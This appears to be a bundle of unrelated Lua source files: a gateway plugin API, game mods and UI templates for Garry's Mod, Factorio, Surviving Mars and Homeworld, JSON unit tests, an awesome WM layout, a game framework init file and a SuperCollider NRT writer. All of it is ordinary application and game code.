for i, v in ipairs(available_plugins) do
local tmp = {
enable = (v=="stat") and true or (orange_db.get(v .. ".enable") or false),
name = v,
active_rule_count = 0,
inactive_rule_count = 0
}
local plugin_rules = orange_db.get_json(v .. ".rules")
if plugin_rules then
for j, r in ipairs(plugin_rules) do
if r.enable == true then
tmp.active_rule_count = tmp.active_rule_count + 1
else
tmp.inactive_rule_count = tmp.inactive_rule_count + 1
end
end
end
plugins[v] = tmp
end
res:json({
success = true,
data = {
plugins = plugins
}
})
end)
--- 加载其他"可用"插件API
local available_plugins = config.plugins
if not available_plugins or type(available_plugins) ~= "table" or #available_plugins<1 then
return api_router
end
for i, p in ipairs(available_plugins) do
load_plugin_api(p, api_router, store)
end
return api_router
end
|
include( "sh_ksm.lua" )
if SERVER then
for k,v in pairs( KSM.Sounds ) do
resource.AddSingleFile( "sound/"..tostring(v) )
end
end
hook.Add( "PlayerSpawn", "KillstreakModifierSpawn", function( ply ) ply.streak = 0 end )
hook.Add( "PlayerDeath", "KillstreakModifierDeath", function( vic, inf, ply )
if vic != ply and ply:IsPlayer() then
ply.streak = ply.streak + 1
for k,v in pairs( KSM.Modifiers ) do
local display = v["display"]
local send = [[surface.PlaySound("]] ..KSM.Sounds[ v["sound"] ].. [[")]]
if string.find(display,"{name}") then display = string.Replace(display,"{name}",tostring( ply:Nick() )) end
if string.find(display,"{kills}") then display = string.Replace(display,"{kills}",tostring( ply.streak )) end
if ply.streak == v.streak then
for _,p in pairs( player.GetAll() ) do
p:SendLua( send )
end
if v["func"] != nil then
v["func"]( ply )
end
PrintMessage( HUD_PRINTCENTER, display )
elseif ( table.Count(KSM.Modifiers) == k ) then
if ply.streak >= v.streak then
for _,p in pairs( player.GetAll() ) do
p:SendLua( send )
end
if v["func"] != nil then
v["func"]( ply )
end
PrintMessage( HUD_PRINTCENTER, display )
end
end
end
end
end )
|
local included = pcall(debug.getlocal, 4, 1)
local T = require("test")
local json = require("json")
local expect = T.expect
--# = json
--# :toc:
--# :toc-placement!:
--#
--# JSON encoding and decoding of Lua values.
--#
--# toc::[]
--#
--# == *json.encode*(_Any_) -> _String_
--# Encode value to JSON.
--#
--# === Arguments
--# [options="header",width="72%"]
--# |===
--# |Type |Description
--# |any |Any value
--# |===
--#
--# === Returns
--# [options="header",width="72%"]
--# |===
--# |Type |Description
--# |string |JSON representation
--# |===
local json_encode = function()
T.is_function(json.encode)
end
local json_encode_true = function()
T.equal(json.encode(true), "true")
end
local json_encode_number = function()
T.equal(json.encode(1), "1")
end
local json_encode_signed = function()
T.equal(json.encode(-10), "-10")
end
local json_encode_nil = function()
T.equal(json.encode(nil), "null")
end
local json_encode_emptytable = function()
T.equal(json.encode({}), "[]")
end
local json_encode_sequence1 = function()
T.equal(json.encode({ 1, 2, 3 }), "[1,2,3]")
end
local json_encode_sequence2 = function()
local a = {}
for i = 1, 5 do
a[i] = i
end
T.equal(json.encode(a), "[1,2,3,4,5]")
end
local json_encode_sparsetable = function()
T.error(json.encode, "sparse array", { 1, 2, [10] = 3 })
end
local json_encode_mixedtable1 = function()
T.error(json.encode, "mixed or invalid key types", { 1, 2, 3, name = "Tim" })
end
local json_encode_mixedtable2 = function()
T.error(
json.encode,
"mixed or invalid key types",
{ name = "Tim", [false] = 123 }
)
end
local json_encode_invalidtable = function()
local obj = {
abc = 123,
def = nil,
}
local obj2 = {
obj = obj,
}
obj.obj2 = obj2
T.is_nil(json.encode(obj))
end
--#
--# == *json.decode*(_String_) -> _Any_
--# Decode JSON to Lua value
--#
--# === Arguments
--# [options="header",width="72%"]
--# |===
--# |Type |Description
--# |string |JSON string
--# |===
--#
--# === Returns
--# [options="header",width="72%"]
--# |===
--# |Type |Description
--# |any |Lua value
--# |===
local json_decode = function()
T.is_function(json.decode)
end
local json_decode_array = function()
local obj = { "a", 1, "b", 2, "c", 3 }
local jsonStr = json.encode(obj)
local jsonObj = json.decode(jsonStr)
for i = 1, #obj do
T.equal(obj[i], jsonObj[i])
end
end
local json_decode_object = function()
local obj = { name = "Tim", number = 12345 }
local jsonStr = json.encode(obj)
local jsonObj = json.decode(jsonStr)
T.equal(obj.name, jsonObj.name)
T.equal(obj.number, jsonObj.number)
end
local json_decode_null = function()
T.is_nil(json.decode("null"))
end
local json_decode_nestedobject = function()
T.equal(
json.decode(json.encode({ person = { name = "tim" } })).person.name,
"tim"
)
end
if included then
return function()
T["json.encode"] = json_encode
T["json.encode true"] = json_encode_true
T["json.encode number"] = json_encode_number
T["json.encode signed number"] = json_encode_signed
T["json.encode nil"] = json_encode_nil
T["json.encode empty table"] = json_encode_emptytable
T["json.encode sequence #1"] = json_encode_sequence1
T["json.encode sequence #2"] = json_encode_sequence2
T["json.encode sparse table"] = json_encode_sparsetable
T["json.encode mixed table #1"] = json_encode_mixedtable1
T["json.encode mixed table #2"] = json_encode_mixedtable2
T["json.decode"] = json_decode
T["json.decode array"] = json_decode_array
T["json.decode object"] = json_decode_object
T["json.decode null"] = json_decode_null
T["json.decode nested object"] = json_decode_nestedobject
end
else
local errstr = function(tested, str, ...)
local n, s = tested(...)
if n ~= nil then
return false, "First return value is not nil."
end
if nil == (string.find(s, str, 1, true)) then
return false, string.format('Not found in error string: "%s".', str)
end
return true
end
T.register_assert("error", errstr)
T["json.encode"] = json_encode
T["json.encode true"] = json_encode_true
T["json.encode number"] = json_encode_number
T["json.encode signed number"] = json_encode_signed
T["json.encode nil"] = json_encode_nil
T["json.encode empty table"] = json_encode_emptytable
T["json.encode sequence #1"] = json_encode_sequence1
T["json.encode sequence #2"] = json_encode_sequence2
T["json.encode sparse table"] = json_encode_sparsetable
T["json.encode mixed table #1"] = json_encode_mixedtable1
T["json.encode mixed table #2"] = json_encode_mixedtable2
T["json.decode"] = json_decode
T["json.decode array"] = json_decode_array
T["json.decode object"] = json_decode_object
T["json.decode null"] = json_decode_null
T["json.decode nested object"] = json_decode_nestedobject
end
|
solution "flare"
configurations
{
"Debug",
"Release"
}
configuration "Debug"
flags
{
"Symbols"
}
dofile("flare.lua")
|
-- ========== THIS IS AN AUTOMATICALLY GENERATED FILE! ==========
PlaceObj('XTemplate', {
group = "Infopanel Sections",
id = "ipSubsurfaceDeposit",
PlaceObj('XTemplateTemplate', {
'__context_of_kind', "SubsurfaceDeposit",
'__template', "Infopanel",
'Description', T{7419, --[[XTemplate ipSubsurfaceDeposit Description]] "<Description>"},
}, {
PlaceObj('XTemplateTemplate', {
'__template', "InfopanelSection",
'Title', T{489, --[[XTemplate ipSubsurfaceDeposit Title]] "Available resources"},
'Icon', "UI/Icons/Sections/deposit.tga",
}, {
PlaceObj('XTemplateTemplate', {
'__template', "InfopanelText",
'Text', T{810, --[[XTemplate ipSubsurfaceDeposit Text]] "<ResourceName><right><resource(Amount,max_amount,resource)>"},
}),
PlaceObj('XTemplateTemplate', {
'__template', "InfopanelText",
'Text', T{787, --[[XTemplate ipSubsurfaceDeposit Text]] "Grade<right><grade_name>"},
}),
}),
PlaceObj('XTemplateTemplate', {
'__condition', function (parent, context) return context.depth_layer > 1 and not IsDeepExploitable(context.resource) end,
'__template', "InfopanelSection",
'Title', T{47, --[[XTemplate ipSubsurfaceDeposit Title]] "<red>Warning</red>"},
'Icon', "UI/Icons/Sections/warning.tga",
}, {
PlaceObj('XTemplateTemplate', {
'__template', "InfopanelText",
'Text', T{788, --[[XTemplate ipSubsurfaceDeposit Text]] "<center>The deposit is not exploitable with our current technology"},
}),
}),
PlaceObj('XTemplateTemplate', {
'__template', "sectionCheats",
}),
}),
})
|
---
--- Generated by EmmyLua(https://github.com/EmmyLua)
--- Created by wangman.
--- DateTime: 2021/8/3 15:10
---
---@class AMapDataType
---@field Normal number
---@field SlowDown number
---@field Block number
AMapDataType = {}
AMapDataType.Normal = 0
AMapDataType.Block = 1
AMapDataType.SlowDown = 2
---@class AMapDataBase
---@field blockData number[][]
---@field mapWidth number
---@field mapHeight number
local AMapDataBase = Class("AMapDataBase")
function AMapDataBase:ctor(mapWidth, mapHeight)
self.mapWidth = mapWidth or 1400
self.mapHeight = mapHeight or 1400
self.blockData = self.blockData or {}
end
function AMapDataBase:SetMapSize(mapWidth, mapHeight)
self.mapWidth = mapWidth or 1400
self.mapHeight = mapHeight or 1400
end
---GetMapDataType
---@param x number
---@param y number
---@return AMapDataType
function AMapDataBase:GetMapDataType(x, y)
if x > self.mapWidth - 1 or x < 0 or y > self.mapHeight - 1 or y < 0 then
return AMapDataType.Block
elseif self.blockData[x] ~= nil and self.blockData[x][y] ~= nil then
return AMapDataType.Block
else
return AMapDataType.Normal
end
end
function AMapDataBase:IsBlock(x, y)
if x > self.mapWidth - 1 or x < 0 or y > self.mapHeight - 1 or y < 0 then
return true
else
return self.blockData[x] ~= nil and self.blockData[x][y] ~= nil
end
end
function AMapDataBase:SetBlock(x, y)
if x > self.mapWidth - 1 or x < 0 or y > self.mapHeight - 1 or y < 0 then
PrintError("in AMapData SetBlock out bounds Error x == " .. x .. " y == " .. y)
return
end
self.blockData[x] = self.blockData[x] or {}
self.blockData[x][y] = AMapDataType.Block
end
function AMapDataBase:ClearBlock()
self.blockData = {}
end
return AMapDataBase
|
---------------------------------------------------------------------------
--- Dwindle and spiral layouts
--
-- @author Uli Schlachter <psychon@znc.in>
-- @copyright 2009 Uli Schlachter
-- @copyright 2008 Julien Danjou
--
-- @module awful.layout
---------------------------------------------------------------------------
-- Grab environment we need
local ipairs = ipairs
local math = math
--- The spiral layout layoutbox icon.
-- @beautiful beautiful.layout_spiral
-- @param surface
-- @see gears.surface
--- The dwindle layout layoutbox icon.
-- @beautiful beautiful.layout_dwindle
-- @param surface
-- @see gears.surface
local spiral = {}
local function do_spiral(p, _spiral)
local wa = p.workarea
local cls = p.clients
local n = #cls
local old_width, old_height = wa.width, 2 * wa.height
for k, c in ipairs(cls) do
if k % 2 == 0 then
wa.width, old_width = math.ceil(old_width / 2), wa.width
if k ~= n then
wa.height, old_height = math.floor(wa.height / 2), wa.height
end
else
wa.height, old_height = math.ceil(old_height / 2), wa.height
if k ~= n then
wa.width, old_width = math.floor(wa.width / 2), wa.width
end
end
if k % 4 == 0 and _spiral then
wa.x = wa.x - wa.width
elseif k % 2 == 0 then
wa.x = wa.x + old_width
elseif k % 4 == 3 and k < n and _spiral then
wa.x = wa.x + math.ceil(old_width / 2)
end
if k % 4 == 1 and k ~= 1 and _spiral then
wa.y = wa.y - wa.height
elseif k % 2 == 1 and k ~= 1 then
wa.y = wa.y + old_height
elseif k % 4 == 0 and k < n and _spiral then
wa.y = wa.y + math.ceil(old_height / 2)
end
local g = {
x = wa.x,
y = wa.y,
width = wa.width,
height = wa.height
}
p.geometries[c] = g
end
end
--- Dwindle layout.
-- @clientlayout awful.layout.suit.spiral.dwindle
spiral.dwindle = {}
spiral.dwindle.name = "dwindle"
function spiral.dwindle.arrange(p)
return do_spiral(p, false)
end
--- Spiral layout.
-- @clientlayout awful.layout.suit.spiral.name
spiral.name = "spiral"
function spiral.arrange(p)
return do_spiral(p, true)
end
return spiral
-- vim: filetype=lua:expandtab:shiftwidth=4:tabstop=8:softtabstop=4:textwidth=80
|
--[[
* MOCK framework for Moai
* Copyright (C) 2012 Tommo Zhou(tommo.zhou@gmail.com). All rights reserved.
*
* Permission is hereby granted, free of charge, to any person obtaining
* a copy of this software and associated documentation files (the
* "Software"), to deal in the Software without restriction, including
* without limitation the rights to use, copy, modify, merge, publish,
* distribute, sublicense, and/or sell copies of the Software, and to
* permit persons to whom the Software is furnished to do so, subject to
* the following conditions:
*
* The above copyright notice and this permission notice shall be
* included in all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
* EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
* IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
* CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
* TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
* SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
]]
luaExtName = luaExtName or '.lua'
--------------------------------------------------------------------
module( 'mock', package.seeall )
local _WARNED = {}
setmetatable( _G, {
__index = function(t, k)
if t == _G then
if k == 'mock_edit' then return end
if k:find( 'MOAI' ) then return end
if _WARNED[ k ] then return nil end
_WARNED[ k ] = true
_error( 'undefined global:', k )
end
return nil
end
})
require 'mock.core'
--------------------------------------------------------------------
----------------Asset Loaders
--FIXME: removed this when finished porting
require 'mock.gfx.asset.resloader'
--------------------------------------------------------------------
----tools
require 'mock.tools'
require 'mock.common'
require 'mock.common.portal'
require 'mock.common.shape'
--------------------------------------------------------------------
--PACKAGES
--------------------------------------------------------------------
------Animator?
require 'mock.animator'
require 'mock.snapshot'
------Graphics
require 'mock.gfx'
------Phyics
require 'mock.physics'
------Audio
require 'mock.audio'
----Entity
require 'mock.entity'
------GUI system
require 'mock.gui'
------STORY
require 'mock.story'
require 'mock.quest'
------Sequence
require 'mock.sqscript'
------AI
require 'mock.ai'
----UI
require 'mock.ui'
----Effects
require 'mock.effect'
----Extra
require 'mock.extra'
---------------------------------------------------------------------
----Editor
require 'mock.editor'
--------------------------------------------------------------------
----Let's POLLUTE THE GLOBAL ENV
--------------------------------------------------------------------
function mock.injectGlobalSymbols( env )
local globalSymbols = {
'Entity',
'GlobalEntity',
'SingleEntity',
'Scene',
'game',
'_DebugDraw'
}
env = env or _G
for i, k in ipairs( globalSymbols ) do
rawset( env, k, mock[ k ] )
end
end
mock.injectGlobalSymbols( _G )
--------------------------------------------------------------------
----INIT
--------------------------------------------------------------------
function mock.init( configPath, fromEditor, extra )
mock.game:loadConfig( configPath, fromEditor, extra )
end
function mock.start( option )
mock.game:openEntryScene( option )
end
function mock.printtable( t )
for k,v in pairs( t ) do
print (k,v)
end
end
local shit = MOAIProp.new()
function mock.getShit()
return {[shit] = true }
end
|
--[[
"name": "fast-filter-fill",
"title": "Fast Filter Fill",
"author": "Keryja, SeaRyanC",
"contact": "http://github.com/keryja/",
"homepage": "https://mods.factorio.com/keryja/fast-filter-fill",
"description": "Quickly duplicate filter settings in Cargo Wagons and other filterable containers",
--]]
local Event = require('__stdlib__/stdlib/event/event')
local Gui = require('__stdlib__/stdlib/event/gui')
local Inventory = require('__stdlib__/stdlib/entity/inventory')
local Table = require('__stdlib__/stdlib/utils/table')
local Math = require('__stdlib__/stdlib/utils/math')
local lib = require('__PickerAtheneum__/utils/lib')
--(( GUI ))--
local INVENTORY_COLUMNS = 10
local GUI_TYPES = {
[defines.gui_type.controller] = true,
[defines.gui_type.entity] = true
}
local floor, ceil = math.floor, math.ceil
--[flow][frame][[table[#btns]][table[#btns]]]
local function get_or_create_filterfill_gui(player, destroy)
local flow = lib.get_or_create_main_left_flow(player, 'picker')
local filter_frame = flow['filterfill_frame']
if destroy then
return filter_frame and filter_frame.destroy()
elseif not filter_frame then
filter_frame = flow.add {type = 'frame', name = 'filterfill_frame', direction = 'horizontal', style = 'picker_frame'}
local requests = filter_frame.add {type = 'table', name = 'filterfill_requests', column_count = 6, style = 'picker_table'}
requests.add {
type = 'sprite-button',
name = 'filterfill_requests_btn_bp',
sprite = 'picker-request-bp',
tooltip = {'filterfill.btn-bp'},
style = 'picker_buttons'
}
requests.add {
type = 'sprite-button',
name = 'filterfill_requests_btn_2x',
sprite = 'picker-request-2x',
tooltip = {'filterfill.btn-2x'},
style = 'picker_buttons'
}
requests.add {
type = 'sprite-button',
name = 'filterfill_requests_btn_5x',
sprite = 'picker-request-5x',
tooltip = {'filterfill.btn-5x'},
style = 'picker_buttons'
}
requests.add {
type = 'sprite-button',
name = 'filterfill_requests_btn_10x',
sprite = 'picker-request-10x',
tooltip = {'filterfill.btn-10x'},
style = 'picker_buttons'
}
requests.add {
type = 'sprite-button',
name = 'filterfill_requests_btn_max',
sprite = 'picker-request-max',
tooltip = {'filterfill.btn-max'},
style = 'picker_buttons'
}
requests.add {
type = 'sprite-button',
name = 'filterfill_requests_btn_0x',
sprite = 'picker-request-clear',
tooltip = {'filterfill.btn-clear'},
style = 'picker_buttons'
}
local filters = filter_frame.add {type = 'table', name = 'filterfill_filters', column_count = 5, style = 'picker_table'}
filters.add {
type = 'sprite-button',
name = 'filterfill_filters_btn_all',
sprite = 'picker-filters-all',
tooltip = {'filterfill.btn-all'},
style = 'picker_buttons'
}
filters.add {
type = 'sprite-button',
name = 'filterfill_filters_btn_down',
sprite = 'picker-filters-down',
tooltip = {'filterfill.btn-down'},
style = 'picker_buttons'
}
filters.add {
type = 'sprite-button',
name = 'filterfill_filters_btn_right',
sprite = 'picker-filters-right',
tooltip = {'filterfill.btn-right'},
style = 'picker_buttons'
}
filters.add {
type = 'sprite-button',
name = 'filterfill_filters_btn_set_all',
sprite = 'picker-filters-set-all',
tooltip = {'filterfill.btn-set-all'},
style = 'picker_buttons'
}
filters.add {
type = 'sprite-button',
name = 'filterfill_filters_btn_clear_all',
sprite = 'picker-filters-clear-all',
tooltip = {'filterfill.btn-clear-all'},
style = 'picker_buttons'
}
end
return filter_frame
end
--))
--(( FILTERS ))--
local function safe_number(num)
return (num < Math.MAX_UINT) and num or (Math.MAX_UINT - 1)
end
-- Filtering: Filter all cells of the opened container with the
-- contents of the player's cursor stack, or the first item in the container,
-- or the first filter in the container
local function get_opened_inventory(player)
local inv
if GUI_TYPES[player.opened_gui_type] then
if player.opened_self then
inv = player.get_main_inventory()
elseif player.opened_gui_type == defines.gui_type.entity then
inv = player.opened.get_output_inventory()
end
end
return inv
end
local function filterfill_all(event)
local player = game.players[event.player_index]
local inventory = get_opened_inventory(player)
if inventory then
-- Get the contents of the player's cursor stack, or the first cell
local desired = (player.cursor_stack.valid_for_read and player.cursor_stack.name) or Inventory.get_item_or_filter(inventory, 1)
for i = 1, #inventory do
local current = not event.shift and Inventory.get_item_or_filter(inventory, i)
inventory.set_filter(i, current or desired or nil)
end
end
end
Gui.on_click('filterfill_filters_btn_all', filterfill_all)
-- Filtering: Copies the filter settings of each cell to the cell(s) below it
local function filterfill_down(event)
local player = game.players[event.player_index]
local inventory = get_opened_inventory(player)
if inventory then
local size = #inventory
local rows = ceil(size / INVENTORY_COLUMNS)
for c = 1, INVENTORY_COLUMNS do
local desired = Inventory.get_item_or_filter(inventory, c)
for r = 1, rows do
local i = c + (r - 1) * INVENTORY_COLUMNS
if i <= size then
desired = Inventory.get_item_or_filter(inventory, i) or desired
inventory.set_filter(i, desired or nil)
end
end
end
end
end
Gui.on_click('filterfill_filters_btn_down', filterfill_down)
-- Filtering: Copies the filter settings of each cell to the cell(s) to the right of it
local function filterfill_right(event)
local player = game.players[event.player_index]
local inventory = get_opened_inventory(player)
if inventory then
local size = #inventory
local rows = ceil(size / INVENTORY_COLUMNS)
--local desired
for r = 1, rows do
local desired = Inventory.get_item_or_filter(inventory, 1 + (r - 1) * INVENTORY_COLUMNS)
for c = 1, INVENTORY_COLUMNS do
local i = c + (r - 1) * INVENTORY_COLUMNS
if i <= size then
desired = Inventory.get_item_or_filter(inventory, i) or desired
inventory.set_filter(i, desired or nil)
end
end
end
end
end
Gui.on_click('filterfill_filters_btn_right', filterfill_right)
-- Filtering: Set the filters of the opened container to the contents of each cell
local function filterfill_set_all(event)
local player = game.players[event.player_index]
local inventory = get_opened_inventory(player)
if inventory then
for i = 1, #inventory do
local desired = Inventory.get_item_or_filter(inventory, i, true)
inventory.set_filter(i, desired or nil)
end
end
end
Gui.on_click('filterfill_filters_btn_set_all', filterfill_set_all)
-- Filtering: Clear all filters in the opened container
local function filterfill_clear_all(event)
local player = game.players[event.player_index]
local inventory = get_opened_inventory(player)
if inventory then
for i = 1, #inventory do
inventory.set_filter(i, nil)
end
end
end
Gui.on_click('filterfill_filters_btn_clear_all', filterfill_clear_all)
--))
--(( REQUESTS ))--
local function requests_fill(event)
local player = game.players[event.player_index]
if player.opened then
for i = 1, player.opened.request_slot_count do
local item = player.opened.get_request_slot(i)
if item then
-- If requesting 2.5 stacks, then request 3
local stacks_to_request = ceil(item.count / game.item_prototypes[item.name].stack_size)
local number_to_request = stacks_to_request * game.item_prototypes[item.name].stack_size
player.opened.set_request_slot({name = item.name, count = safe_number(number_to_request)}, i)
end
end
end
end
Gui.on_click('filterfill_requests_btn_max', requests_fill)
local function multiply_filter(event)
local player = game.players[event.player_index]
local opened = player.opened
if opened then
local factor = tonumber(event.element.name:match('%d+'))
for i = 1, opened.request_slot_count do
local existing = opened.get_request_slot(i)
if existing and factor > 0 then
local count = safe_number(floor(existing.count) * factor)
opened.set_request_slot({name = existing.name, count = count}, i)
else
opened.clear_request_slot(i)
end
end
end
end
Gui.on_click('filterfill_requests_btn_%d+x', multiply_filter)
local function blueprint_requests(event)
--chest "should be non-nil" at this point
local player = game.players[event.player_index]
local chest = player.opened
local chest_inv = chest and chest.get_output_inventory()
local blueprint = Inventory.get_blueprint(player.cursor_stack, true) or (chest_inv and Inventory.get_blueprint(chest_inv[1], true, true))
if chest then
if blueprint then
local slot_count = chest.request_slot_count
for i = 1, slot_count do
chest.clear_request_slot(i)
end
local i = 1
Table.each(
blueprint.cost_to_build,
function(v, k)
if i < slot_count then
chest.set_request_slot({name = k, count = safe_number(v)}, i)
i = i + 1
else
return true
end
end
)
else
player.print({'filterfill.no-blueprint'})
end
else
event.element.parent.parent.destroy()
end
end
Gui.on_click('filterfill_requests_btn_bp', blueprint_requests)
--))
--(( Check inventory ))
local function check_for_filterable_inventory(event)
local player = game.players[event.player_index]
local frame = get_or_create_filterfill_gui(player)
local inv = get_opened_inventory(player)
if inv then
local requester = false
local opened = player.opened
if opened and opened.type == 'logistic-container' then
local ptype = opened.prototype
if ptype.logistic_mode == 'requester' or ptype.logistic_mode == 'buffer' then
requester = true
end
end
frame['filterfill_requests'].visible = requester
frame['filterfill_filters'].visible = inv and inv.supports_filters()
frame.visible = frame['filterfill_filters'].visible or frame['filterfill_requests'].visible
else
frame.visible = false
end
end
Event.register({defines.events.on_gui_opened, defines.events.on_gui_closed}, check_for_filterable_inventory)
--))
|
-- Displays detailed information about unit caps when the user mouses over the units menu
dofilepath("data:ui/newui/Styles/HWRM_Style/HWRMDefines.lua")
function RulesToClone(MyInteger, MyTextA, MyTextB)
return
{
type = "Frame",
name = "frmNameRules",
autosize = 1,
arrangetype = "horiz",
;
-- Title to clone
{
type = "TextLabel",
name = "lblRulesA" .. MyInteger,
autosize = 0,
ignored = 1,
-- backgroundColor = {random(255),random(255),random(255),128},
Layout = {
size_WH = { w = 1, h = STD_LABEL_HEIGHT/2, wr = "px", hr = "scr" },
min_WH = { w = 300, wr = "px" },
},
Text = {
textStyle = "IGHeading2",
hAlign = "Left",
text = MyTextA,
},
giveParentMouseInput = 1,
dropShadow = 1,
visible = 1,
},
{
type = "TextLabel",
name = "lblRulesB" .. MyInteger,
autosize = 0,
ignored = 1,
-- backgroundColor = {random(255),random(255),random(255),128},
Layout = {
size_WH = { w = 1, h = STD_LABEL_HEIGHT/2, wr = "px", hr = "scr" },
min_WH = { w = 300, wr = "px" },
},
Text = {
textStyle = "IGHeading2",
hAlign = "Left",
text = MyTextB,
},
giveParentMouseInput = 1,
dropShadow = 1,
visible = 1,
},
}
end
RulesScreen = {
maxColor = {255,0,0,255}, -- color for max pop reached
availColor = {0,255,0,255}, -- color for pop available
--size = {32, 71, 100, 200},
autosize = 1,
RootElementSettings = {
autosize = 1,
-- backgroundColor = {255,128,0,255},
Layout = {
pad_LT = { l = 8, t = 0, lr = "px", tr = "px" },
},
Anchor_Binds = {
pivotX = "Taskbar_LeftButtonsTopRight",
pivotY = "Taskbar_LeftButtonsTopRight",
},
},
soundOnShow = "SFX_RecallMenuONOFF",
soundOnHide = "SFX_RecallMenuONOFF",
onShow = "UI_SetButtonPressed('NewTaskbar', 'btnRules', 1); UI_HideScreen('BuildQueueMenu'); UI_HideScreen('EventsScreen'); UI_HideScreen('UnitCapInfoPopup'); UI_HideScreen('BountiesScreen'); UI_HideScreen('ProgressScreen'); UI_HideScreen('MusicScreen'); UI_HideScreen('BentusiScreen');",
onHide = "UI_SetButtonPressed('NewTaskbar', 'btnRules', 0);",
stylesheet = "HW2StyleSheet",
-- Flags
pixelUVCoords = 1, -- Enter pixel coords for texture coords
arrangetype = "vert",
clickThrough = 1,
;
-- Unit cap item to clone
{
type = "Frame",
name = "frmItemToClone",
autosize = 1,
giveParentMouseInput = 1,
visible = 1,
arrangetype = "vert",
Layout = {
size_WH = { w = 1, h = 1, wr = "1", hr = "px" },
},
;
RulesToClone( 0, "", ""),
RulesToClone( 1, "", ""),
RulesToClone( 2, "", ""),
RulesToClone( 3, "", ""),
RulesToClone( 4, "", ""),
RulesToClone( 5, "", ""),
RulesToClone( 6, "", ""),
RulesToClone( 7, "", ""),
RulesToClone( 8, "", ""),
RulesToClone( 9, "", ""),
RulesToClone(10, "", ""),
RulesToClone(11, "", ""),
RulesToClone(12, "", ""),
RulesToClone(13, "", ""),
RulesToClone(14, "", ""),
RulesToClone(15, "", ""),
RulesToClone(16, "", ""),
RulesToClone(17, "", ""),
RulesToClone(18, "", ""),
RulesToClone(19, "", ""),
RulesToClone(20, "", ""),
RulesToClone(21, "", ""),
RulesToClone(22, "", ""),
RulesToClone(23, "", ""),
RulesToClone(24, "", ""),
RulesToClone(25, "", ""),
RulesToClone(26, "", ""),
RulesToClone(27, "", ""),
RulesToClone(28, "", ""),
RulesToClone(29, "", ""),
RulesToClone(30, "", ""),
RulesToClone(31, "", ""),
RulesToClone(32, "", ""),
RulesToClone(33, "", ""),
RulesToClone(34, "", ""),
RulesToClone(35, "", ""),
RulesToClone(36, "", ""),
RulesToClone(37, "", ""),
RulesToClone(38, "", ""),
RulesToClone(39, "", ""),
},
}
|
Cannon = Class {
__includes=TargetedTower,
init = function(self, gridOrigin, worldOrigin)
self.towerType = "CANNON"
TargetedTower.init(self,
animationController:createInstance(self.towerType),
gridOrigin, worldOrigin, constants.STRUCTURE.CANNON.WIDTH,
constants.STRUCTURE.CANNON.HEIGHT, constants.STRUCTURE.CANNON.COST,
constants.STRUCTURE.CANNON.ROTATION_TIME, constants.STRUCTURE.CANNON.ATTACK_DAMAGE,
constants.STRUCTURE.CANNON.ATTACK_INTERVAL
)
self.targettingRadius = constants.STRUCTURE.CANNON.TARGETTING_RADIUS
end;
update = function(self, dt)
TargetedTower.update(self, dt)
end;
shoot = function(self)
local centre = self:centre()
local newX = centre.x + constants.STRUCTURE.CANNON.BARREL_LENGTH*math.sin(self.angleToTarget)
local newY = centre.y - constants.STRUCTURE.CANNON.BARREL_LENGTH*math.cos(self.angleToTarget)
world:addProjectile(Cannonball(Vector(newX, newY), self.currentTarget, self.attackDamage, self.mutation))
audioController:playAny("CANNON_SHOOT")
end;
addMutation = function(self, mutation)
assert(mutation and mutation.id)
TargetedTower.addMutation(self, mutation, animationController:createInstance(self.towerType..'-'..mutation.id))
end;
}
Cannonball = Class {
__includes=HomingProjectile,
init = function(self, worldOrigin, target, damage, mutation)
self.projectileType = "CANNONBALL"
local anim = nil
if mutation then
anim = animationController:createInstance(self.projectileType..'-'..mutation.id)
else
anim = animationController:createInstance(self.projectileType)
end
HomingProjectile.init(self, worldOrigin, anim, target, constants.PROJECTILE.CANNONBALL.SPEED, constants.PROJECTILE.CANNONBALL.WIDTH, constants.PROJECTILE.CANNONBALL.HEIGHT, mutation)
self.damage = damage
end;
update = function(self, dt)
HomingProjectile.update(self, dt)
end;
draw = function(self)
HomingProjectile.draw(self)
end;
--hitTarget can optionally return an 'Impact', to inflict some AoE effect/damage
hitTarget = function(self)
HomingProjectile.hitTarget(self)
self.markedForDeath = true
if self.target then
self.target:takeDamage(self.damage, true)
if self.mutation then
if self.mutation.areaOfEffect then
return self.mutation:createImpact(self.worldOrigin)
else
self.mutation:attack(self.target, 1)
end
else return DefaultImpact(self.worldOrigin)
end
elseif self.mutation.areaOfEffect then --if our enemy is dead, explode on the spot!
return self.mutation:createImpact(self.worldOrigin)
end
end;
}
|
local NRT = {}
local sentosctable = {}
function NRT:open(filepath)
local file,err = io.open(filepath,"wb")
self.file = file
if not self.file then error(err) end
self.filepath = filepath
end
function NRT:sendBundle(msg,time)
assert(self.file)
assert(time>=0)
if not self.closed then
local kSecondsToOSCunits = 4294967296
local timestamp = time*kSecondsToOSCunits
local dgram = toOSC{timestamp,msg}
--self.file:write(int2str(#dgram,4,false))
--self.file:write(dgram)
sentosctable[timestamp] = sentosctable[timestamp] or {}
table.insert(sentosctable[timestamp],{timestamp,dgram})
else
prerror("nrt closed:",prOSC(msg))
end
end
function NRT:sendMultiBundle(time,msg)
assert(self.file)
assert(time>=0)
if not self.closed then
local kSecondsToOSCunits = 4294967296
local timestamp = time*kSecondsToOSCunits
table.insert(msg,1,timestamp)
local dgram = toOSC(msg)
--self.file:write(int2str(#dgram,4,false))
--self.file:write(dgram)
sentosctable[timestamp] = sentosctable[timestamp] or {}
table.insert(sentosctable[timestamp],{timestamp,dgram})
else
prerror("nrt closed:",prOSC(msg))
end
end
function NRT:sentosctable2file()
local sorted = {}
for k,v in pairs(sentosctable) do
table.insert(sorted,v)
end
table.sort(sorted,function(a,b) return a[1][1]<b[1][1] end)
for i,t in ipairs(sorted) do
for j,v in ipairs(t) do
local dgram = v[2]
self.file:write(int2str(#dgram,4,false))
self.file:write(dgram)
end
end
end
local osctable = {}
function NRT:sendBundleTable(msg,time)
assert(time)
table.insert(osctable,{time,msg})
end
function NRT:sendMultiBundleTable(time,msg)
assert(time)
table.insert(msg,1,time)
table.insert(osctable,msg)
end
